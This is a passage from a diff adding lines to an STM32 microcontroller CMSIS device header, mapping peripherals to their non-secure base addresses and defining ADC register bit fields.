LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + +#define OTFDEC2 OTFDEC2_NS +#define OTFDEC2_BASE OTFDEC2_BASE_NS + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_NS +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_NS + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_NS +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_NS + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_NS +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_NS + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_NS +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#define JPEG JPEG_NS +#define JPEG_BASE JPEG_BASE_NS + +#define GFXTIM GFXTIM_NS +#define GFXTIM_BASE GFXTIM_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define 